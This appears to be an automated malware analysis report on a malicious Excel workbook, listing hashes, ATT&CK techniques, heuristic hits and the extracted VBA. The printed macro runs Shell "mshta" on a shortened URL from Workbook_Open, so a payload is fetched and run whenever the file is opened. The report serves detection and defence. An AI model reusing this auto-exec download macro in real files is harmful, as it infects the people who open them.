Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a4b073f6b8fce358…

MALICIOUS

Office (OOXML)

11.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-20
MD5: edb05c897a6bedb672c25804b06132b1 SHA-1: 7dd130b4d22bfac20e69e0f28d2f45aa66edb49e SHA-256: a4b073f6b8fce358cbf147dc79c48dec4476b7505588749bde1b009dbc5cad84
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 Client Execution: Mshta T1566.001 Spearphishing Attachment

The OOXML document contains a Workbook_Open VBA macro that executes a URL using mshta. This is a common technique for downloading and executing further malicious content. The macro explicitly calls 'mshta https://bit.ly/asdqwdqwojdasmndbas', indicating an attempt to fetch and run a payload from that URL.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Shell "mshta https://bit.ly/asdqwdqwojdasmndbas"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Shell "mshta https://bit.ly/asdqwdqwojdasmndbas"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://bit.ly/asdqwdqwojdasmndbas In document text (OOXML body / shared strings)
    • https://bit.ly/asdqwdqwojdasmndbasA@6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 779 bytes
SHA-256: cb8aa54d05d18fc29772a8ebfadeda4da27e5c4cdace6b05748d4a5a6d884b93
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"
Sub askdjalsd()


End Sub

Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()

Shell "mshta https://bit.ly/asdqwdqwojdasmndbas"




End Sub

Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: 45c134676f3050206f212356aa420410f60134e1b80a96e0679c1a673609c6c0